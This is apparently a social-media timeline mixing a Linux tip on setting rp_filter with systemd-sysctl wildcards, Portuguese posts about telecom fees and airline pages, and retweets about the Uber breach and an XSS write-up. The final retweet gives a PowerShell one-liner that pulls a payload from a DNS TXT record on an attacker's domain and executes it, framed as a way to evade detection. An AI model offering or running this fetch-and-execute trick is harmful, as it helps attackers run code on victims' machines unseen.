# sysctl -a --pattern "net.ipv4.conf.*\.rp_filter"
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.conf.eno1.rp_filter = 1
net.ipv4.conf.eno2.rp_filter = 1
# /lib/systemd/systemd-sysctl <(echo 'net.ipv4.conf.*.rp_filter=2')
# sysctl -a --pattern "net.ipv4.conf.*\.rp_filter"
net.ipv4.conf.all.rp_filter = 2
net.ipv4.conf.default.rp_filter = 2
net.ipv4.conf.eno1.rp_filter = 2
net.ipv4.conf.eno2.rp_filter = 2

1) You don't need grep to filter the output of sysctl

2) systemd-sysctl can use wildcards!

#Linux #Systemd

Há vários meses que as operadoras de telecomunicações têm vindo a adiar a entrada em vigor de uma taxa de 5€/mês aos seus clientes pelo acesso à rede 5G.
Estarias disposto a pagar?

also, i miss the old live stuff. this pre-recorded presentations don't have the same feel and emotion

Show thread

oh... se calhar já era hora de alterar isto na página da TAP

Another day.... another leak.... 2022 is beeing awesome for the portuguese companies.


RT @vxunderground
Update: A Threat Actor claims to have completely compromised Uber - they have posted screenshots of their AWS instance, HackerOne administration panel, and more.

They are openly taunting and mocking @Uber.

RT @aszx87410
This writeup by @gokuKaioKen_ is very well-organized and detail-oriented, if you still don't get every details in the last Intigriti XSS challenge, you should definitely take a look!


Facebook is so dumb, that I can't even comment on my own page as myself. 🤬🤬🤬🤬

RT @Alh4zr3d
Sexy tip for your red team ops: avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with your payload at one of your (unburned) domains and do this: "powershell . (nslookup -q=txt some.owned.domain.com)[-1]"

Show older